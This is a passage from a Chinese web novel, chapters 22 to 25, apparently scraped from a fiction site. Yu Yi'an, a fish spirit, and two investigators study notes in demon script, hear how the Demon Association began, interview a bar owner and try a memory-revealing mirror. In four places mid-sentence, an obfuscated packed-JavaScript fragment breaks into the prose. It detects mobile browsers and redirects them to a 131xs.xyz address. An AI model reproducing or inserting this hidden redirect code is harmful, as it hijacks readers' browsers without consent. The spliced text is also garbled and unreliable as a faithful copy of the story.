“我已经吃过了,剩下的都是你的。” 闻言,余一安眼睛一亮,“蹭蹭蹭”三步做两步地进了厨房。 一进去她就看到灶台上摆着一个显眼的锅,大概就是她的早餐了。 她乐滋滋地端起自己的早餐,坐上了客厅的餐桌。 锅还带着一点余温,揭开锅盖,里面是一个个软软糯糯的白色小圆子,滚圆滚圆的,面上还点缀着几颗红色的枸杞。 余一安捧着锅,手上拿着筷子在里面戳来戳去,然而这个白色圆子却是三番五次地从筷子上滑落下去。 “你在干什么?” 江元白不经意转过头,视线就看到某条傻鱼那些筷子在自己的锅里面戳戳戳,脑袋都快埋进去了。 他不禁一头黑线。 果然现在看到对方做了什么事情他都不会意外了呢。 “我夹不起来。”余一安决定向江元白求助。 “用勺子试试。” 江元白叹了口气,让他不能理解的是:“还有,你为什么用锅吃饭?” “啊?” 余一安挠头:“原来不能用锅吃饭的吗?” “嘿嘿,”她傻傻一笑,“那我去拿个碗。” 她知道江元白家里的碗在哪里,于是兴冲冲地跑过去拿了个碗,又像个炮弹一样“哒哒哒”冲了回来。 顺带还拿了个勺子。 江元白担心她把锅里面的食物撒自己一桌子,赶紧走过去帮她把汤圆都装到了碗里。 余一安迫不及待舀了个汤圆放进嘴里。 软乎乎糯叽叽的汤圆轻轻一咬就破了,黑芝麻味儿的馅儿流了出来,在舌尖一滚,便化成了浓稠的蜜意。 “唔,好好吃,这是什么啊?” 余一安满足地眼睛都眯了起来,脑袋一晃一晃的,连头上的红绳都晃悠悠的透着一股心满意足。 这时候江元白已经坐回到了书桌,听到她的问题,不紧不慢地回答:“酒酿汤圆。” “好厉害,白白你怎么什么都会啊?” 江元白神色滞了一瞬,下一秒恢复了正常,他略微没带好气道:“问那么多干嘛,吃你的就行了。” “嘻嘻。” 余一安也没因为他的语气生气,反而抬起头嬉皮笑脸地对他嘿嘿一笑,然后继续低下头“呼噜呼噜”地吃着汤圆。 江元白看着她没心没肺只知道吃的样子,总感觉不是很顺眼。 余一安不知道他在想什么,三两下就把碗里的东西吃完顺带把碗洗了。 半饱不饱的余一安有些无聊,于是凑到江元白身边,看他在干什么。 江元白的坐姿很端正,脊背挺直,下颌微收,神情十分认真。 他手执电容笔在平板的屏幕上轻快地跃动,随着细微的“哒哒”声,一条条流畅的线条自他的笔尖流淌了出来。 “你在画画吗?”余一安的声音响起。 江元白努力忽视掉对方存在感太强烈的视线,面不改色地点了点头。 他总感觉气氛有些尴尬。 余一安和江元白虽然目前在一起共事,但是其实加起来也仅仅只认识了几天。 之前的时候还有秦巡在旁边缓和气氛,就算是单独相处也是吃着饭没那么局促,而且秦巡很快就加入了进来。 这次却是一人一妖单独相处。 江元白心里头一次埋怨秦巡怎么这么久还不过来。 余一安没感觉到他的僵硬,反而一脸好奇:“道士也要画画吗?” 江元白解释道:“绘画是我的主页,道士是我的副业。” 他的工作是在网上接稿画图,这几天一直忙着调查案件,今天突然想起来还有个商稿快到截稿期限了。 这要是没交上去,违约金一赔,他可能得每天去吃土了。 江元白神色一动:“你要看看我的画吗?” “好呀好呀!” 余一安也很好奇江元白的作品。 江元白伸手拿过另一个平板,点开自己的作品集。 他顺手把自己最得意的一份作品放在最上面后,递给眼巴巴的余一安。 “这是我大学毕业后的作品。” 说话的时候,他面色故作平淡,眼神里却带着一点点隐秘的小期待。 “哇偶!”余一安看着那副色彩绚丽、线条灵动的插画,忍不住叹为观止。 她并不是很懂一副画的专业评价,但是从单纯的视觉观赏来看,这无疑是一副很好看的画。 她的眼神中满是惊叹,嘴里也忍不住道:“好棒!好好看!” 成功从对方嘴里听到夸奖的江元白这下心满意足了,拿起笔心无旁骛地重新构思自己的稿子。 余一安坐在一旁不停地翻看着平板,圆溜溜的眼睛不时地瞪圆,嘴里也偶尔地蹦出来一两句赞叹声。 有点吵。 江元白心里这样想着,面上一派淡然,然而那上扬的眉梢却是怎么也压抑不住。 过了仅半个小时后,秦巡终于姗姗来迟。 江元白心下有点失望,他的作品集还没看完呢。 “唉,早上去了趟协会,来晚了。” 秦巡拿了一次性杯子喝了口水,喘着气开口。 江元白合上自己的平板,看向秦巡,等他说出在协会得到的情报。 秦巡摆摆手,又喘了口气:“等我缓一下!” “倒霉死了,今天电梯坏了,我硬生生从一楼爬上来的。” 终于感觉自己缓过气后,他没好气地吐槽。 要知道他们可是住在二十一楼。 二十一层楼,他硬生生爬了十多分钟。 中间他一度以为自己要晕在楼梯上。 江元白闻言露出来一个同情的表情。 余一安倒是不知道到底有多高,她把平板放到一边,跃跃欲试道:“我也想去玩!” 秦巡闻言,露出一个友善的微笑:“好好,明天就带你去。” 既然对方自己提出想要体验一下,这样的苦总不能让他自己一个人受了。 “嗯嗯!”余一安点点头,完全不知道对方的险恶用心。 江元白表情微妙地看了他们一眼,总感觉最后受苦的还是秦巡自己。 他轻咳两声,转移了话题:“东西拿到手了吗?” 秦巡点点头,从自己随身带着的包里掏出来一个文件夹。 他打开文件夹,从里面拿出来了一堆大小不一的纸条零零散散地堆放在桌子上。 “这是黄鼠狼拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399963|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的他和那个斗篷妖交流的纸条。” “上面都是那个斗篷妖的字迹。” 秦巡继续解释道:“我数了下,大概有十三张。” 江元白拿起一张纸条查看,却发现上面是一个个如同蝌蚪般扭曲的符号,根本看不懂。 他拧起了眉:“这是……妖文?” 妖文是妖族以前专用的文字,只是近些年来妖族除了要学习妖文,也开始学起了人类的文字。 这也就是余一安会看会写人类文字的原因。 “我看看!我看看!” 余一安本来正在拿起一张纸条还没打开,听到这句话动作飞快地打开纸条看了起来。 这张纸条上的字比较少。 “上面写的什么?”秦巡好奇地看向她。 “这张写的‘明天’。” 余一安表情有些纳闷:“感觉在哪里看过这个字。” “你认识是谁写的?”江元白有些迫切地追问。 余一安脑子转了一圈,最后摇摇头,苦闷道:“没想起来。” 秦巡有些失望,又打起精神道:“看看其他几张写了什么。” 余一安点点头,接着拿起桌子上其他纸条看了起来。 可惜,全部看完后,上面都是一些诸如“可以”“不行”“太贵了”意义不明的词汇。 “……” 秦巡没忍住吐槽出声:“原来反派也会讲价的啊。” “总感觉这个反派有些过于接地气了。” “什么是反派?”余一安有些不明所以。 “干坏事的就是反派。” 秦巡给了个最通俗易懂的解释。 没等余一安说出什么,江元白忽然伸出手,手上是方才的那张纸条。 “这张还没看。” 他做出解释。 余一安闻言从他的手中抽出纸来,打开看了看。 江元白和秦巡的视线顿时都聚焦在了她的身上。 余一安一字一句读道:“交易结束…以后…不要再联系我。” 说完后,她眼巴巴看着对面的两人。 秦巡:“就这?” 余一安点点头:“就这。” 两人大失所望,看来从内容里面是看不出来什么了。 不过也是,只要是一个智力正常的人,肯定也不会留下这么显眼的把柄。 就算妖也一样。 江元白沉吟一番:“我一直在想,对方为什么一定要用纸条传达,而不是直接说话交流?” “难道不是因为要隐藏身份?” “没错,”江元白点点头,“但是若是互相不熟的妖,隐藏住身形面容就差不多了。” “没必要留下有把柄的字迹,而特意将声音隐藏起来。” 他说出自己的推测:“我怀疑,那个和黄鼠狼交易的人肯定认识黄鼠狼,甚至可能还颇为熟悉。” “妖族的数量这些年一直在减少,黄鼠狼又在妖族里面大肆做交易,他认识的妖怪数目肯定是比较多的。” “黄鼠狼的交易并不是明面上许可的,他的客人都是回头客或者熟妖介绍,再加上特意隐藏声音,说明斗篷妖极有可能与黄鼠狼相识。” “当然也不排除黄鼠狼单方面认识对方。” 江元白的声音充满冷静,让秦巡忍不住信服。 但是他忽然想起来一个问题:“那要是那个斗篷妖的声音太过特殊,能让人一下子就能记住呢?” 23. 难过的妖怪 “不排除这个可能。” “不过,总而言之,这条线索基本也没啥用了。”江元白摊手。 秦巡灌了口水,想了一圈,总感觉哪里有点不对劲,他突然转过弯来:“不对啊,怎么感觉我们这些天的调查基本到最后都不了了之。” 江元白瞥他一眼:“你终于发现了。” “诶,”秦巡隔着远远的把一次性水杯投进垃圾桶,顿时露出一个满意的笑容,他一边翻着自己的文件夹,一边道,“等会,我们还有一份酒吧老板提供的供词。” “刚拿到手的,还热乎着呢。” 他把一份文件递给了江元白。 江元白拿着文件一目十行地翻看着,一脸专注。 很快,他放下了手里的文件。 余一安和秦巡的目光齐齐盯着他,期待着结果。 “怎么样?” 江元白缓慢摇头:“没有太大的收获。” “上面怎么说的?”秦巡有些不死心地问道。 江元白扫视了一眼两双眼巴巴盯着他的目光,组织好语言后才缓缓开口:“据老板的证词所言,他在酒吧刚成立的时候资金不够。” “四处筹钱的时候,有个人给他投资了剩下的资金。” “所以介绍莺九去酒吧的是那个人?”秦巡没忍住接嘴。 江元白点点头,表示老板的措辞是这样。 “那老板知道那个人长什么样吗?”秦巡问道。 “说是线上交流,并没有接触过。” 余一安闻言露出了失望的神色。 她忽然想起一个问题:“怎么能够知道这个老板说的是真的还是假的呢?” 秦巡看她一眼,耐心给她解惑:“还记得我们之前说的唯一一个在协会工作的妖怪吗?” 余一安歪着头回想了下,想起来后有些不明所以地点点头。 “准确的说,那不是妖怪,而是传说中的神兽獬豸。” “神兽?”余一安瞪大了眼。 那不是和大祭司一样。 “神兽獬豸,形似麒麟,双目炯炯有神,能分辨是非曲直,识善恶。” 江元白在一旁补充道。 秦巡一脸夸张道:“这应该算是咱们协会的镇会之宝了。” “那他为什么会在协会呀?” 听懂了她的言外之辞的秦巡摊了摊手,其实他也有些想不通为什么传说中的獬豸会呆在他们一个小小的妖怪协会。 “如果没记错的话,大概自妖怪协会成立之初,妖族以示诚意,于是便派了獬豸来坐镇协会,协助人类与妖族共处,以维护公正。” 江元白曾经刚好了解到过相关的一点事情。 听他这么说,余一安忽然问道:“妖怪协会是什么时候成立的?” “其实我也不清楚。”江元白摇摇头。 对着两双显得有些诧异的眼神,他解释道:“其实妖怪协会的最初的会长并不是苍会长。” 这下秦巡瞪大了眼,不可置信:“会长可是说妖怪协会是他一点点发展壮大成如今的规模的?!” “其实会长说的也没错。” 他十分从容地给他们解惑:“妖怪协会在人类社会的正式成立就是苍会长一手办理的。” 这里说的正式成立是指在人类组织机构中完成了正式注册备案那种。 也就是说,现在的妖怪协会是完全光明正大合法存在的。 秦巡这下有些明白了,斟酌着开口:“也就是说,一开始的妖怪协会其实只是个地下组织?” “你要这么说也可以。”江元白颔首,虽然这个词听起来不好听,但是意思大差不差。 “据说,一开始的妖怪协会并不叫妖怪协会,而被称作百妖盟。” 听到这个名字,秦巡露出一点费解的神色:“不是人妖和谐吗?为啥叫百妖盟。” “那时候的道士除了捉鬼,就是以捕杀妖怪为生,”江元白眼神中闪过一抹暗色,“百妖盟与其说是帮助人妖能够和睦相处,不如说是妖怪在人界单方面的互助会。” 看着一人一妖有些懵逼的眼神,江元白叹了口气,接着解释道:“那个时候灵气还未衰落,妖怪数量比较多,每年都有大量妖怪被道士捕捉到人界去。” 那些被捉住的妖怪有的会被当场扑杀,残忍地剜走身上值钱的部位;也有的会直接被活捉去,贩卖给一些有其他不同需求的道士或者有钱有势的人类。 “百妖盟就是妖怪在人界专门用来帮助被捕获的同伴逃出人类魔爪的一个互助组织。” 江元白一口气说完,想了想又补充道:“但是后来那些幸存的妖怪们被解救后,对人类社会中人类的反应不尽相同。” 被解救后,有的妖从此见人就怕,躲进深山再也不出来。 也有的妖怪从此视道士为此生仇敌,从此一生都活在仇恨之中,有的妖在报仇过程中生死,也有的妖报完仇后从此与人类划清界限,再不往来。 还有的妖怪憎恨上了所有的人类,无论是那些恶臭满盈的道士,还是无辜清白的普通百姓,只要是人,一概深恶痛绝,屠戮殆尽,最终因执念成魔。 “但是还有一类极少数存在的妖,这些妖怪在经历磨难后,反而更坚定地想要寻求人与妖共处之道,试图弥合这世间的偏见与仇恨。” “这些妖怪最后几乎都留在了百妖盟,这也就是妖怪协会‘人妖和谐’理念一开始的由来。” 江元白说完这些久远的故事,看向他们有些回不过神的样子,眉梢微微上扬。 他当初无意中了解到到这个几乎被尘封的过往时,也是如此的震惊。 秦巡半天终于反应过来,感叹道:“竟然是这样。” 余一安却是一脸怔然,她出生起就在母亲余若和温再玄的庇护下长大,无忧无虑,最大的烦恼不过是偶尔饿一下肚子罢了。 长期的不谙世事造成了她一直天真烂漫的性子。 就像是童话里的公主与王子,总认为世界永远是美好的,邪恶只是暂时的。 在他们的心目中,光明最终会驱散黑暗。 但是直到听到江元白讲的这些,她才知道,原来在她曾经看不到的角落里竟然有这么多妖怪同胞在受苦。 他们在被剥皮、剔角、抽血……的时候……该有多疼啊。 余一安茫然地眨了下眼睛,竟是直接落了泪下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407293|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “诶诶,你怎么哭了?”秦巡有些担忧地看着她。 余一安吸了吸鼻子,她攥着衣袖,神情看上去竟有几分不知所措:“有点难受……” 她下意识捂上胸口,眼泪像是毫无察觉一样一滴滴落下来,砸在地上、衣服上以及她捂着胸口的手背上。 “我感觉这里有点痛,不舒服……” 她声音带着点哽咽,皱起脸,用求助的眼神看向江元白:“我是不是要死了?” “我记得娘亲离开的时候……也是捂着这个地方的。” “我要是死了,白白你记得到时候联系大祭司把我带回去。” 余一安一瞬间已经开始想象到时候把自己和娘亲埋在一起的场景了。 “……” 秦巡一时半会不知道该说些什么,他们怎么一会儿的功夫已经开始上演生离死别了。 江元白本来听到余一安话里的内容在沉思什么,听到这里时终于有些无奈,解释道:“你只是太难过了,不是要没了。” “真的吗?” 余一安闻言又摸了摸胸口,有些困惑:“可是我以前难过的时候也不是这里难受呀?” “那你哪里难受?”秦巡好奇问道。 余一安歪歪头,指着自己的肚子:“这里。” 秦巡霎时翻了个白眼:“你那是饿的。” “所以你刚刚怎么了?”他还是有点不放心余一安方才的表现。 余一安双眼茫然地摇摇头:“我也不知道,就是刚刚想到了那些妖怪们曾经受的苦,想到莺九可能也在受这样的苦……” 说着她忽然又落下泪来,手抚上了心口。 “又难受了……” 秦巡顿时也明白过来,她这是在共情那些曾经饱受折磨的妖怪们。 不过想想,若是遭受这些磨难的是他的同胞,他估计他也是会哭得稀里哗啦的。 余一安忽然有些惶恐,急急道:“我们要快些救莺九出来。” 一想到莺九在遭遇那些惨绝人寰的事情,她就感觉有些难以呼吸。 在这之前,她一直以为莺九就算被人抓走,也顶多饿一下肚子,并不会有什么太大的危险。 然而现在她忽然对这些危险有了实质性的认知。 原来世界上竟还有这么恐怖的事情。 秦巡连忙安抚她:“放心,我们肯定能把莺九救出来的。” “你要相信我,相信江元白,相信妖怪协会。” 他说得一脸信誓旦旦,让余一安都忍不住相信他。 她把视线转向江元白,想要得到对方对这句话的认可。 江元白一直注视着对方,这会余一安眼眶红通通的,眼里还含着眼泪。 丑死了。 他想,这条傻鱼还是笑起来的时候好看。 他在余一安的目光中轻轻点了点头:“放心。” 听到他这句话的余一安终于破涕为笑:“嗯嗯,我们肯定可以把所有的妖怪救出来的。” 她眼神染上了一抹坚定。 江元白默默地凝视着她。 他在心里点点头,果然还是笑着的时候看起来最顺眼。 24. 心不在焉的妖怪 为了缓和一下气氛,秦巡提了个他刚刚没太能理解的问题。 “照你这样说,以前的百妖盟里都是妖,那为什么现在的妖怪协会里面都是人?” 余一安擦擦脸,也眨巴着眼看了过来,只是神色间仍带着几分思虑。 这件事江元白恰好之前去请教过苍阳华,他沉吟一番,将那段尘封的往事娓娓道来。 随着时间的发展,百妖盟中仇视人类的妖怪不断作死,这就导致那些内心柔软渴望和平的妖怪数量比例逐渐增大。 它们常常在人类社会活动,总是能够捡到一些因为各种原因被丢弃的人类小孩,最后被于心不忍的妖怪们捡了回去养大。 当被伤害后憎恨人类的妖怪们见到这些人类小孩后,顿时心里就不爽快了。 两波理念不同的妖怪们大吵一架,最后一气之下齐齐离开了百妖盟。 于是百妖盟内最后剩下的都是一群心怀善念的妖怪以及被这些妖怪收养长大的人类孩子。 在百妖盟长大的孩子们,顺理成章也继承了这些妖怪们的理念,渴望着人与妖怪之间能够放下嫌隙,从此和平相处。 在后来,这些孩子的后代们都继承了先祖的执念,一代代传承了下去。 他们世代与百妖盟的妖怪居住在一起,在此期间有的人选择了离开,也有相同理念的人加入进来。 于是就这样过去了两百多年后,妖族为了减少人类的迫害,直接划定了一片区域,费了极大的力气撑起一个巨大的结界,将人界和妖族从此分隔成两个不同的世界。 妖族大祭司将尚在人类界的妖怪召了回去,并且从此严格禁止所有妖怪私自离开结界。 但仍然有些妖怪留恋人界,最终选择留在了人类社会。 这其中就包含不少百妖盟中的妖怪。 但不知道为何,随着人界与妖族的区域划分,整个世界的灵气竟在缓缓地衰退。 而这这也就导致那些在人界生活的妖怪们寿命也在不停缩减。 光阴似箭,百妖盟中的妖怪们一个接一个寿命耗尽,离开了这个世界。 二十三年前,百妖盟最后一个妖怪成员溘然长逝。 百妖盟就此退出历史舞台。 而就在七年后,有一群人秉持着人妖和谐相处的理念成立了妖怪协会。 这些人就是当初妖怪们收养的那群人类孩子的后代。 其中一个,就是苍阳华。 随着最后一个字落下,整个房间内陷入一片寂静。 一人一妖感觉江元白的话就像一颗石子投入水潭,激起的涟漪久久不散,在心上反复回荡。 秦巡喃喃自语:“没想到妖族协会竟然还有这种由来。” 江元白瞥他一眼,倒也没有嘲笑他,毕竟当初他刚听说这个故事的时候,心中的翻腾也并不比他们少。 余一安没说话,有些心不在焉地在思考什么。 一声铃响打破了室内的寂静,两双眼睛齐齐朝秦巡看去。 秦巡连忙查看自己的手机,下一秒他立马眉梢一扬,隐隐带着点激动道:“有新线索了!” 他也不墨迹,直接开口解释:“协会来消息说,罗珲想起来了一点关于投资人的信息。” 罗珲就是那个酒吧老板的名字。 “不过对方要求必须和我们亲自交流。” 江元白闻言神情一振,直接站起身:“约在哪里见面?” “我们现在马上过去。” “他说在家里等我们。”秦巡一边说一边穿上外套,顺便还不忘拉上有些不在状态的余一安出了门。 “出发!” 半小时后,他们到达了目标人的住处。 一个金碧辉煌、看上去就价值不菲的别墅区出现在他们眼前。 秦巡啧啧一声:“这老板……住的地方还挺有眼光。” 虽然江元白也不是很喜欢这种暴发户的审美,但还是习惯性损了他一句:“确实比你那个狗窝好。” 江元白这么久以来只去过一次秦巡的住处,并且发誓以后再也不会踏进去一次。 秦巡撇撇嘴,没反驳他。 这时一个穿着正式得体、气质温和的中年女人走了过来。 她声音亲切,语气十分自然地问道:“请问三位是罗珲先生的客人吗?” 秦巡立马开口:“是的。” “各位好,”中年女人微微一笑,“我是罗先生家中的管家,你们可以叫我黄姐。” 听到这个称呼江元白下意识扫了余一安一眼,却发现对方眼神发散,一副神游物外的样子。 他不由得眉心微蹙。 黄姐还在继续说话:“罗先生已经在等候各位了,我现在带三位过去。” 调查组没有异议,道了谢后直接跟上了她。 路过保安门岗的时候,黄姐停下来不知道和保安说了什么后,就直接放他们进去了。 进去后,他们才发现这里面更是层台累榭,华美绝伦,每一处设计都是废了极大功夫的精工细琢。 不过两人一妖都没有太过在意,一路跟着黄姐直接到了一栋金色的穹顶别墅前。 秦巡和江元白见状表情都有些微妙。 竟然真的会有人喜欢这种风格。 进到大厅,两人只感觉璀璨的光芒几乎让他们睁不开眼。 整个大厅的天花板贴满了金箔,金色的石柱、金色的沙发、金色的地板……头顶上还有一个巨大的水晶吊灯将金色的光芒折射到每一个角落。 秦巡甚至看到连楼梯把手都金灿灿的。 他心里忽然冒出来个念头:或许这人是真喜欢金色吧。 余一安只感觉一瞬间被明晃晃的金色闪到了眼睛,她终于回过神,双眼环视一周,一脸懵:“这是哪儿?” 这下两人是真无语了,还没来得及说什么,去而复返的黄姐对他们道:“各位,先生已经在二楼会客室等你们了,麻烦请跟我来。” 然而二楼的环境竟是出乎他们意外的清雅。 黄姐将他们带到了一间房门前,礼貌地敲了敲门。 “请进。”一道十分粗犷的声音传来。 黄姐做了个邀请的姿势,等到他们全都进去后才轻轻把门关上,离开了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422678|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>会客室的环境和走廊外如出一辙的雅致。 素色的锦墙上竹帘半卷透进微光,墙面上还挂着几幅寥寥几笔的水墨画。 一方看不出来什么木头的茶案泛着古朴的光泽,各色茶具后坐着一个瘦小的男人。 “你们来了,坐。”对方操着一口与他身形十分不符的浑厚嗓音给他们打了招呼。 江元白反应过来,拉着有些怔愣的一人一妖找了个位置坐下来。 “喝茶吗?” 罗珲没有说直接投资人的事,他动作行云流水地沏了三杯茶,递给他们。 江元白轻声道谢后,但没有喝,而是将茶杯拿到了手上。 秦巡早就有些口渴,直接大剌剌喝了口茶水,他咂摸着嘴,总感觉这玩意清汤寡水的没有啥滋味,还是酒好喝。 余一安对茶并不感兴趣,直接放在了面前的桌子上。 在调查组观察罗珲的时候,罗珲也在打量着他们,他不动声色地将面前几个人的反应尽收眼底。 不得不说,他十分怀疑面前这三个看起来乳臭未干的小孩真的是主要负责人吗? 一个弱不禁风比女生还白,看起来比他家那个还在上大学的臭小子还要小,还有个小姑娘就更离谱了,他有些怀疑对方是不是高中还没毕业。 这三个人看上去还没有昨天来找他调查的那个人年纪大。 有一说一,他们真的不是官方随便叫来几个实习生来糊弄他的吗? 虽然不管真的假的,其实这都不重要。 他之所以要求只和负责人谈,就是嫌麻烦,想一次性把这件事解决了。 罗珲心里百转千回,面色却丝毫看不出来,他咳了两声,声音充满了热情:“几位领导好,我是蓝调酒吧的老板罗珲。” “接下来我会尽力配合你们的调查。” “不敢当不敢当。”秦巡听了赶紧推辞。 他也是发达了,居然有一天被叫上领导了。 虽然对方单纯只是客气称呼,但是秦巡心底下还是美滋滋的。 江元白扫了眼他得瑟的模样,眼底掠过一丝无语后,郑重对罗珲自我介绍道:“罗先生您好,我叫江元白,是此次事件的主要调查人。” “我是秦巡,您可以叫我小秦。”秦巡赶紧接上。 余一安依旧显得有些无精打采,见大家都打了招呼后,连忙扯出来一个笑:“罗先生你好,我是余一安。” 大家相互客套寒暄一阵后,终于进入正题。 “想必你们应该都已经了解了我昨天说的那些话了。” 罗珲神情坦然,见到对面都点了头之后接着开口:“你们调查的人走后,我心里就一直在琢磨这件事。” 毕竟自己曾经的恩人竟然可能是犯罪嫌疑人这件事,让他到现在都还有些反应不太过来。 所以他昨天晚上吃饭在想、洗澡在想、睡觉也在想这件事。 甚至连老婆邀请和她一起睡觉都被他拒绝了,还被老婆赶出了房间。 终于他在书房里冥思苦想到大半夜的时候,忽然灵光一闪,从脑海某个旮旯里面翻出来一件事! 25. 身揣宝物的妖怪 “几年前我在刘于的朋友圈里面看到他发过一组照片。” “太久了,大概有五六年了吧。” 罗珲回忆着说道:“因为他发完很快就删掉了,所以我还有点印象。” 忘记说,刘于就是那个给罗珲投资的人(妖),当然据调查这很有可能是一个假名。 江元白闻言精神一振,连忙追问:“还记得长什么样吗?” 罗珲在几双视线急切的注视下,摇了摇头。 见到他们面色一下子又转为失望后,他又继续开口道:“我印象中隐约是个有点黑的男人,看上去三十多岁的样子。” 罗珲在几人的目光中缓缓说道。 “能麻烦您大概描述一下您印象中对方的长相吗?” 江元白想试试能不能根据对方的描述将刘于的外貌画下来。 罗珲有些为难,皱着眉:“我也记不大清了,可能不太准确。” “那就先试一下。”江元白下了决定。 秦巡见状立马从自己的记录本递给江元白,还贴心地把笔帽揭开。 罗珲见状也十分配合,轻咳两声,开始回忆。 “先从眼睛开始吧,能形容一下对方的眼型吗?例如大小、形状,或者有没有别的特征?” 江元白回忆着一扫而过的刑侦知识,模仿着开口。 “我想想啊,”罗珲为难地皱着眉,努力回忆着,“眼睛好像有点大……” “不对,好像是个眯眯眼。” “也不对,应该是一个眼睛大一个眼睛小……” 最后实在想不出来,罗珲抓狂地挠了把头发,破罐子破摔:“反正是两个眼睛就对了。” 江元白拿着笔不知道该怎么下手,见状只好换成下一个:“那脸型呢?” 罗珲用力思考半天,最后只好放弃:“我脑子里的画面非常模糊,大概就像是糊了一层马赛克。” “实在是太久了,我根本想不出来。” 他试图劝对方放弃,他能把这件事从脑子深处扒拉出来,也确实是因为刘于是他雪中送炭的神秘投资人,从不透露自己的身份,却突然某一天在朋友圈发了自拍,这才多给了点关注。 江元白见状也只好放弃。 他将依旧干干净净的记录本合起来还回给秦巡,表情未见变化:“没事的,非常感谢您今天的配合。” “如果您之后有什么线索的话,麻烦您及时联系我们。” …… 从别墅出来后,秦巡没忍住叹了口气:“感觉像是又白跑一趟。” 江元白面色也带了些沉重,这么多天的调查一点效果都没有,这对他的自信也是十分大的打击。 他抿了抿唇,刚想说什么,就被一直异常沉默着的余一安忽然打断了。 “我有办法!” 她抬起圆圆的眼眸,亮亮的,带着些激动。 江元白晃了下眼,下一秒就听到秦巡问道:“什么办法?” “我知道怎么能够知道那个人长什么样了!” 余一安不复方才的低迷,眉眼都飞扬了起来:“我有个镜子,它可以让一个人的以前经历过的事情出现在上面。” “有了它就可以看到那个人长什么样了!” 因为自己的东西太多,余一安也是突然才想起来这面镜子的。 秦巡瞪大了眼,咋舌道:“居然还有这种好东西。” “真是踏破铁鞋无觅处啊。” 江元白也缓和了面色,问出了关键问题:“那面镜子在现在在哪里?” 余一安拍了拍自己随身的小鱼挎包:“在我包里!” 她说完准备把镜子掏出来,却被江元白阻止了:“先别拿,我们等会回去再说。” 余一安挠挠头,不是很明白,但还是停下了动作。 回到江元白的公寓时,大毛正在沙发上浅寐,听见声音后掀起眼皮看了眼,发现是他们后又懒洋洋地合上了眼。 余一安在屋子里把镜子拿了出来,江元白和秦巡齐齐打量着这面听起来就很厉害的镜子。 他们实在看不出这面镜子有什么不凡的地方,就如同一面十分普通的铜镜,表面有些发黑,花纹经历了漫长岁月有些模糊,像是传了好几辈子的老物件。 唯一有些非同寻常的就是这个镜子似乎不能照出来人,镜面就像是完全没打磨过,显得灰扑扑的。 秦巡摸着下巴,泛起了嘀咕:“这个镜子真的能看得清楚吗?” 余一安有些不服气:“这是我娘亲留给我的,肯定可以。” “好吧好吧,”秦巡继续观摩着镜子,“那它该怎么用啊?” “用镜子对着你的脸,然后开始回想你曾经经历过的事情,镜子里面就会出现了。” 余一安认真解释着镜子的用法。 闻言秦巡立马凑了上去,开始回想着自己小时候曾经收到的一个很喜欢的礼物到底被自己放在了哪里。 随着他的回忆,镜子里开始有了画面,并且逐渐趋于清晰,最后稳定在一个十分清晰的状态。 两人一妖齐齐看着镜子,镜内的画面开始如同电影一般动了起来。 视角似乎有些低,画面的主人大约就是小时候的秦巡,从画面的晃动程度能够看出来他步伐十分欢快,似乎很开心的样子。 秦巡解释道:“那是我在学校里收到的朋友送的生日礼物。” 随着视线不时的转动,他似乎处于一个有些古色古香的庭院内,手中捧着一个精致的帆船模型。 忽然,画面里出现了两个人,一个女人大约三十岁左右,另一个大概是个五六岁的小女孩。 无人发现此时秦巡的面色忽然变得难看了些。 这时画面不再晃动了,似乎是小秦巡停了下来,他正看着那两个人。 小女孩似乎发现了他,指着秦巡手上的帆船模型开口大喊;“妈妈,我要哥哥的船!” 女人先是怜爱地摸了摸女孩的脸,然后转过脸,却是淡些了神色:“阿巡,把船给妹妹玩一会。” 小秦巡似乎是不愿意,撇过了脸,大声开口:“不给!” 女孩小嘴一瘪,就开始哇哇大嚷着她要玩。 女人赶紧哄着小女孩:“他不给就不给,我们囡囡不稀罕,妈妈带囡囡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15434176|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去买个更好的。” 说着,就安抚着小女孩离开了。 最后连看都没看小秦巡一眼。 